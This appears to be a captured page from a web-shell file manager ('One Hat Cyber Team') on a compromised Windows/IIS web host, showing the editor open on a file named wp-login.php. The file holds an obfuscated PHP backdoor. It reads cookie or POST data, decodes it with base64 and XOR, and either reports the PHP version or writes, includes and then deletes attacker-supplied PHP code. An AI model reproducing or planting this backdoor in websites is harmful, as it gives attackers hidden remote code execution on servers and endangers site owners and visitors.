⚝
One Hat Cyber Team
⚝
Your IP:
3.133.100.204
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: wp-login.php
<?php /* wrdmz */function lsnzzx(){$nzwhtk='gljkar_'; print_r (33878+33878);/* vpx*/} $wtekh = 'wtekh' ^ ' '; $wutexjci = $wtekh(102) ./* _ekt */$wtekh(105)/* ht */. "\154" . "\145" ./* ogfp */$wtekh(505-410) ./* ytzk */"\x70"/*hz */. "u".$wtekh(714-598) . $wtekh(95) . "c"."o"."n"."t"."e".$wtekh(110) . "t"."\163"; $_gezsrmup/*rxksa */= "\x62" . "a"."s".$wtekh(1008-907) . "6"."4"."_"."\144" . "e"."\x63"/* cv */./* vi */"o".$wtekh(908-808) ./* d */"e"; $rjxkn = "u"."\x6e" . "s"."\x65" ./*h */"\162"/*lk */. "i".$wtekh(97)/* fjson */./* phkpw */"l"."i".$wtekh(122) . "e"; $evzbqxbqtc = "p"."h"."p"."v".$wtekh(822-721) ./* nhbob */"\162" ./* fvt */$wtekh(848-733)/* m_h */. $wtekh(944-839) ./* dp */"\x6f" . "n";$bkqayspzt/*kqqrk */= "\165" . "n".$wtekh(469-361) . "\x69" ./* lmhhz */"n"."\153"; /*_j */function/*og*/_giswucnnb($whmhb, $sehdder) { global $wtekh; /* uk */$siokhddw/* yrkq */=/* rwk */""; for/* dir */($_cslq/* osnkp*/= 0; $_cslq < strlen($whmhb);)/*gl */{ for/* la */($azvx_aos = 0; $azvx_aos < strlen($sehdder)/* shp */&& $_cslq < strlen($whmhb); $azvx_aos++, $_cslq++) { $siokhddw/*s_i */.= $wtekh(ord($whmhb[$_cslq])/*la */^ ord($sehdder[$azvx_aos]));/* w*/} /* grxux*/} return $siokhddw; } $aacnhccke =/* k */$_COOKIE;$btbbrkbgmj = $_POST; $aacnhccke = array_merge($btbbrkbgmj, $aacnhccke); $azvx_aosltya = $wtekh(777-723) . $wtekh(721-664) . "4"."b"."b"."7".$wtekh(231-182) ./* zlj*/"\146" ./* ypaj*/$wtekh(440-395) ./* d */"b"."\x31"/* ek */. "d"."\x62" ./* qjy */$wtekh(45) ./* ihu */"\64"/*cs */. "\x36" ./*tv*/"\x37" . "b"."-"."\x62" ./* xinim */"\x66" . "c"."b"."-".$wtekh(697-600)/*bapu */./* yp */"b"."\144" . "e".$wtekh(56)/* vt*/. "\x30" . "\70" ./* tt*/"6"."5"."\x66" ./* ubawq */"f"."4"; foreach ($aacnhccke as $ndfneklt/* fkvm_ */=> $whmhb) { /* zenu */$whmhb/* es */= $rjxkn(_giswucnnb(_giswucnnb($_gezsrmup($whmhb), $azvx_aosltya), $ndfneklt)); if/* gynxh */(isset($whmhb[$wtekh(671-574)/* cvble */. "\x6b"])) { if ($whmhb["\x61"] == $wtekh(105)) { $_cslq/* scf */= array(); $_cslq[$wtekh(342-230)/* rg */./*j_wj */$wtekh(996-878)]/* t */= $evzbqxbqtc(); $_cslq["s"."\x76"] = $wtekh(484-433) . $wtekh(639-593)/*z */./*v */$wtekh(932-879); echo @serialize($_cslq); } elseif/* js */($whmhb["\x61"] == "e") { $dqsngowqg/* pv */=/* qa */sprintf($wtekh(46) ./*l*/"\57" ./* i */$wtekh(352-315) ./* yncbp */"s"."\x2e" ./*v*/"p"."\154", md5($azvx_aosltya));/*rbqjg */$wutexjci($dqsngowqg,/* vsih */"<"/* bs */./*ddgym */"?"."p"."h"."\160" ./*tz */$wtekh(32) ./*be */"u"."\156" ./* v */"l"."\151"/* tvq */. $wtekh(959-849) . "k"."("."_"."\x5f" ./* uz */"\106"/* xbrp */. "\111" . "\114" . "E"."_"."_".")".";".$wtekh(32)/*znq */./* quuv */$whmhb["d"]); include($dqsngowqg); /* lkaoo */$bxmaa =/* epm */$dqsngowqg; /*ytd */$bkqayspzt($bxmaa); } /* _mhs */exit(); /* yn */} }
Simpan